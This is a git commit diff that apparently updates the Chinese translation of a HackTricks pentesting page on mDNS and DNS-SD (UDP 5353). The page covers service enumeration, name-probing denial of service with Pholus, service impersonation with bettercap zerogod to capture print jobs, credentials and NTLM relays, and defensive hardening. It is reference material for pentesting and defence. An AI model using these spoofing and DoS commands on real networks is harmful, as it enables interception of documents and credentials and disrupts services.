Translated ['src/network-services-pentesting/5353-udp-multicast-dns-mdns

This commit is contained in:
Translator 2025-08-20 14:16:59 +00:00
parent 5f7b8020a7
commit 261ad71238
2 changed files with 119 additions and 27 deletions

View File

@ -65,7 +65,7 @@ def ref(matchobj):
dir = path.dirname(current_chapter['source_path'])
rel_path = path.normpath(path.join(dir,href))
try:
logger.debug(f'Error getting chapter title: {href} trying with relative path {rel_path}')
logger.debug(f'Not found chapter title from: {href} -- trying with relative path {rel_path}')
if "#" in href:
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
title = " ".join(href.split("#")[1].split("-")).title()

View File

@ -1,53 +1,143 @@
# 5353/UDP 多播 DNS (mDNS) 和 DNS-SD
# 5353/UDP Multicast DNS (mDNS) 和 DNS-SD
{{#include ../banners/hacktricks-training.md}}
## **基本信息**
## 基本信息
**多播 DNS (mDNS)** 使得 **类似 DNS 的操作** 在本地网络中得以实现,而无需传统的 DNS 服务器。它在 **UDP 端口 5353** 上运行,允许设备相互发现及其服务,通常见于各种 IoT 设备。**DNS 服务发现 (DNS-SD)** 通常与 mDNS 一起使用,帮助识别网络上可用的服务,通过标准的 DNS 查询进行
Multicast DNS (mDNS) 使得在没有单播 DNS 服务器的情况下,在本地链路内实现类似 DNS 的名称解析和服务发现。它使用 UDP/5353 和多播地址 224.0.0.251 (IPv4) 和 FF02::FB (IPv6)。DNS 服务发现 (DNS-SD通常与 mDNS 一起使用) 提供了一种标准化的方法,通过 PTR、SRV 和 TXT 记录来枚举和描述服务
```
PORT STATE SERVICE
5353/udp open zeroconf
```
### **mDNS的操作**
关键协议细节,您在攻击中经常利用:
- .local 区域中的名称通过 mDNS 解析。
- QU查询单播位可能请求单播回复即使对于多播问题。
- 实现应忽略未从本地链路源发的包;一些栈仍然接受它们。
- 探测/公告强制唯一的主机/服务名称;在这里干扰会造成 DoS/“名称占用”条件。
在没有标准DNS服务器的环境中mDNS允许设备通过查询多播地址**224.0.0.251**IPv4或**FF02::FB**IPv6来解析以**.local**结尾的域名。mDNS的重要方面包括指示记录有效性的**生存时间TTL**值和区分单播和多播查询的**QU位**。在安全方面mDNS实现必须验证数据包的源地址是否与本地子网一致。
## DNS-SD 服务模型
### **DNS-SD的功能**
服务在 .local 下被标识为 _<service>._tcp 或 _<service>._udp例如 _ipp._tcp.local打印机、_airplay._tcp.localAirPlay、_adb._tcp.localAndroid 调试桥)等。使用 _services._dns-sd._udp.local 发现类型,然后将发现的实例解析为 SRV/TXT/A/AAAA。
DNS-SD通过查询指针记录PTR来促进网络服务的发现这些记录将服务类型映射到其实例。服务使用**\_\<Service>.\_tcp或\_\<Service>.\_udp**模式在**.local**域中进行标识,从而发现相应的**SRV**和**TXT记录**,提供详细的服务信息。
## 网络探索和枚举
### **网络探索**
#### **nmap使用**
扫描本地网络以查找mDNS服务的有用命令是
- nmap 目标扫描(直接在主机上进行 mDNS
```bash
nmap -Pn -sUC -p5353 [target IP address]
nmap -sU -p 5353 --script=dns-service-discovery <target>
```
此命令有助于识别开放的 mDNS 端口及其上广告的服务。
#### **使用 Pholus 进行网络枚举**
要主动发送 mDNS 请求并捕获流量,可以按如下方式使用 **Pholus** 工具:
- nmap 广播发现(监听该段并枚举所有 DNS-SD 类型/实例):
```bash
sudo python3 pholus3.py [network interface] -rq -stimeout 10
sudo nmap --script=broadcast-dns-service-discovery
```
- avahi-browseLinux
```bash
# 列出服务类型
avahi-browse -bt _services._dns-sd._udp
# 浏览所有服务并解析到主机/端口
avahi-browse -art
```
- Apple dns-sdmacOS
```bash
# 浏览所有 HTTP 服务
dns-sd -B _http._tcp
# 枚举服务类型
dns-sd -B _services._dns-sd._udp
# 将特定实例解析为 SRV/TXT
dns-sd -L "My Printer" _ipp._tcp local
```
- 使用 tshark 捕获数据包:
```bash
# 实时捕获
sudo tshark -i <iface> -f "udp port 5353" -Y mdns
# 仅 DNS-SD 服务列表查询
sudo tshark -i <iface> -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-sd._udp.local\""
```
提示:一些浏览器/WebRTC 使用临时 mDNS 主机名来掩盖本地 IP。如果您在网络上看到随机的 UUID.local 候选项,请使用 mDNS 解析它们以转向本地 IP。
## 攻击
### **利用 mDNS 探测**
### mDNS 名称探测干扰DoS / 名称占用)
一种攻击方式是向 mDNS 探测发送伪造的响应,暗示所有潜在名称已经被使用,从而阻碍新设备选择唯一名称。这可以通过以下方式执行:
在探测阶段,主机检查名称的唯一性。以伪造的冲突响应迫使其选择新名称或失败。这可能会延迟或阻止服务注册和发现。
使用 Pholus 的示例:
```bash
sudo python pholus.py [network interface] -afre -stimeout 1000
# Block new devices from taking names by auto-faking responses
sudo python3 pholus3.py <iface> -afre -stimeout 1000
```
这种技术有效地阻止新设备在网络上注册其服务。
### 服务欺骗和冒充 (MitM)
**总结**,理解 mDNS 和 DNS-SD 的工作原理对于网络管理和安全至关重要。像 **nmap****Pholus** 这样的工具提供了对本地网络服务的宝贵洞察,而对潜在漏洞的意识有助于防范攻击。
冒充广告的 DNS-SD 服务打印机、AirPlay、HTTP、文件共享迫使客户端连接到您。这在以下情况下特别有用
- 通过伪装 _ipp._tcp 或 _printer._tcp 捕获文档。
- 引诱客户端连接到 HTTP/HTTPS 服务以收集令牌/ cookies 或传递有效载荷。
- 在 Windows 客户端与伪装服务协商身份验证时结合 NTLM 中继技术。
### 伪造/中间人攻击
使用 bettercap 的 zerogod 模块mDNS/DNS-SD 欺骗者/冒充者):
```bash
# Start mDNS/DNS-SD discovery
sudo bettercap -iface <iface> -eval "zerogod.discovery on"
您可以在此服务上执行的最有趣的攻击是执行 **MitM****客户端与真实服务器之间的通信**。您可能能够获取敏感文件(与打印机的通信进行 MitM甚至凭据Windows 身份验证)。\
# Show all services seen from a host
> zerogod.show 192.168.1.42
# Impersonate all services of a target host automatically
> zerogod.impersonate 192.168.1.42
# Save IPP print jobs to disk while impersonating a printer
> set zerogod.ipp.save_path ~/.bettercap/zerogod/documents/
> zerogod.impersonate 192.168.1.42
# Replay previously captured services
> zerogod.save 192.168.1.42 target.yml
> zerogod.advertise target.yml
```
也请参见通用的LLMNR/NBNS/mDNS/WPAD欺骗和凭证捕获/中继工作流程:
{{#ref}}
../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
{{#endref}}
### 关于最近实施问题的说明在参与期间对DoS/持久性有用)
- Avahi可达性断言和D-Bus崩溃漏洞2023可以终止Linux发行版上的avahi-daemon例如CVE-2023-38469..38473CVE-2023-1981在重启之前会中断目标主机上的服务发现。
- Cisco IOS XE无线局域网控制器mDNS网关DoS2024CVE-2024-20303允许相邻攻击者驱动高CPU并断开AP。如果您在VLAN之间遇到mDNS网关请注意其在格式错误或高频率mDNS下的稳定性。
## 防御考虑和OPSEC
- 段边界除非明确需要mDNS网关否则不要在安全区域之间路由224.0.0.251/FF02::FB。如果必须桥接发现优先使用允许列表和速率限制。
- Windows端点/服务器:
- 要通过mDNS强制禁用名称解析请设置注册表值并重启
```
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
```
- 在受管环境中禁用内置的“mDNS (UDP-In)”Windows Defender防火墙规则至少在域配置文件上以防止入站mDNS处理同时保留家庭/漫游功能。
- 在较新的Windows 11版本/GPO模板上使用策略“计算机配置 > 管理模板 > 网络 > DNS客户端 > 配置多播DNS (mDNS) 协议”,并将其设置为禁用。
- Linux (Avahi)
- 在不需要时锁定发布:设置`disable-publishing=yes`,并在`/etc/avahi/avahi-daemon.conf`中使用`allow-interfaces=` / `deny-interfaces=`限制接口。
- 考虑`check-response-ttl=yes`,并避免`enable-reflector=yes`,除非严格需要;在反射时优先使用`reflect-filters=`允许列表。
- macOS在特定子网不需要Bonjour发现时限制主机/网络防火墙的入站mDNS。
- 监控:对`_services._dns-sd._udp.local`查询的异常激增或关键服务的SRV/TXT的突然变化发出警报这些都是欺骗或服务冒充的指标。
## 工具快速参考
- nmap NSE: `dns-service-discovery``broadcast-dns-service-discovery`
- Pholus主动扫描反向mDNS扫描DoS和欺骗助手。
```bash
# 被动嗅探(超时秒数)
sudo python3 pholus3.py <iface> -stimeout 60
# 枚举服务类型
sudo python3 pholus3.py <iface> -sscan
# 发送通用mDNS请求
sudo python3 pholus3.py <iface> --request
# 对子网进行反向mDNS扫描
sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
```
- bettercap zerogod发现、保存、广告和冒充mDNS/DNS-SD服务见上面的示例
## 欺骗/中间人攻击
您可以在客户端与真实服务器之间执行中间人攻击这是您可以对该服务执行的最有趣的攻击。您可能能够获取敏感文件与打印机的通信中间人或甚至凭证Windows身份验证。\
有关更多信息,请查看:
{{#ref}}
@ -57,5 +147,7 @@ sudo python pholus.py [network interface] -afre -stimeout 1000
## 参考文献
- [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://books.google.co.uk/books/about/Practical_IoT_Hacking.html?id=GbYEEAAAQBAJ&redir_esc=y)
- [Nmap NSE: broadcast-dns-service-discovery](https://nmap.org/nsedoc/scripts/broadcast-dns-service-discovery.html)
- [bettercap zerogod (mDNS/DNS-SD discovery, spoofing, impersonation)](https://www.bettercap.org/modules/ethernet/zerogod/)
{{#include ../banners/hacktricks-training.md}}